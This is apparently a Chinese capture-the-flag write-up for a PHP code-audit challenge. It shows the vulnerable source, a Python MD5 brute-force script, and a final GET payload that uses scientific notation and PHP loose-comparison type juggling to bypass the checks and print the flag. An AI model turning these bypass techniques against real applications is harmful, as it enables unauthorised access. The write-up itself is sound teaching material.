进入靶场
属于代码审计
<?php
// 高亮显示当前 PHP 文件的源代码,常用于调试或展示代码
highlight_file(__FILE__);
// 初始化两个标志变量,用于后续条件判断
$key1 = 0;
$key2 = 0;
// 从 GET 请求中获取参数 'a' 和 'b'
$a = $_GET['a'];
$b = $_GET['b'];
// 检查参数 'a' 是否存在,并且将其转换为整数后大于 6000000,同时其字符串长度小于等于 3
if (isset($a) && intval($a) > 6000000 && strlen($a) <= 3) {
// 检查参数 'b' 是否存在,并且其 MD5 哈希值的最后 6 位等于 '8b184b'
if (isset($b) && '8b184b' === substr(md5($b), -6, 6)) {
// 如果上述条件都满足,将 $key1 标志设置为 1,表示通过了这部分验证
$key1 = 1;
} else {
// 如果参数 'b' 不满足条件,输出提示信息并终止脚本执行
die("Emmm...再想想");
}
} else {
// 如果参数 'a' 不满足条件,输出提示信息并终止脚本执行
die("Emmm...");
}
// 从 GET 请求中获取参数 'c',并尝试将其作为 JSON 字符串解码为数组
$c = (array)json_decode(@$_GET['c']);
// 检查 $c 是否为数组,并且其键 'm' 对应的值不是数字类型,但在比较时大于 2022
if (is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022) {
// 检查 $c 数组中键 'n' 对应的值是否为数组,并且该数组的元素数量为 2,同时第一个元素也是数组
if (is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])) {
// 在 $c["n"] 数组中搜索值为 'DGGJ' 的元素,并返回其键名
$d = array_search("DGGJ", $c["n"]);
// 如果未找到 'DGGJ',输出提示信息并终止脚本执行
$d === false? die("no...") : NULL;
// 遍历 $c["n"] 数组
foreach ($c["n"] as $key => $val) {
// 如果数组中的某个元素等于 'DGGJ',输出提示信息并终止脚本执行
$val === "DGGJ"? die("no......") : NULL;
}
// 如果上述条件都满足,将 $key2 标志设置为 1,表示通过了这部分验证
$key2 = 1;
} else {
// 如果 $c["n"] 不满足条件,输出提示信息并终止脚本执行
die("no hack");
}
} else {
// 如果 $c 不满足条件,输出提示信息并终止脚本执行
die("no");
}
// 检查 $key1 和 $key2 标志是否都为 1,如果是,则表示所有验证都通过
if ($key1 && $key2) {
// 包含名为 'Hgfks.php' 的文件,通常该文件中定义了 $flag 变量
include "Hgfks.php";
// 输出验证成功的提示信息
echo "You're right" . "\n";
// 输出 $flag 变量的值,可能是一个关键信息,如密钥、标志等
echo $flag;
}
?>
具体条件包括:
- GET 参数
a
转换为整数后大于 6000000 且字符串长度不超过 3。 - GET 参数
b
的 MD5 哈希值最后 6 位为8b184b
。 - GET 参数
c
解码为数组后,其键m
对应的值不是数字但大于 2022,键n
对应的值是一个包含两个元素且第一个元素为数组的数组,并且n
数组中存在但又不能直接等于DGGJ
。
在 PHP 中,对于科学计数法表示的字符串,intval
函数会正确转换其值,所以可以使用科学计数法来构造 a
。
a=1e9
可以通过编写一个简单的 Python 脚本来暴力破解满足条件的 b
:
import hashlib
# 初始化计数器 i,用于从 0 开始逐个尝试不同的数值
i = 0
# 开始一个无限循环,不断尝试不同的数值,直到找到满足条件的 b 值
while True:
# 将当前的计数器值 i 转换为字符串,并使用 encode() 方法将其编码为字节串
# 因为 hashlib.md5() 函数要求输入为字节串
s = str(i).encode()
# 计算 s 的 MD5 哈希值,并将结果以十六进制字符串的形式存储在 md5_hash 变量中
md5_hash = hashlib.md5(s).hexdigest()
# 检查计算得到的 MD5 哈希值的最后 6 位是否等于 '8b184b'
if md5_hash[-6:] == '8b184b':
# 如果满足条件,打印出找到的满足条件的 b 值
print(f"找到满足条件的 b: {i}")
# 跳出无限循环,结束程序
break
# 如果当前的 i 值不满足条件,将计数器 i 的值加 1,继续尝试下一个数值
i += 1
运行
得到
b=53724
自行构造c
因为两个函数相互矛盾,需要绕过一个
c={"m":"2023a","n":[[1,2,3],0]}
最终payload
a=1e9&b=53724&c={"m":"2023a","n":[[1,2,3],0]}
注意最后的传参方式
按理说/?即可以get方式传参
但我传的时候不那么顺利
大家也可以试试postman或者BP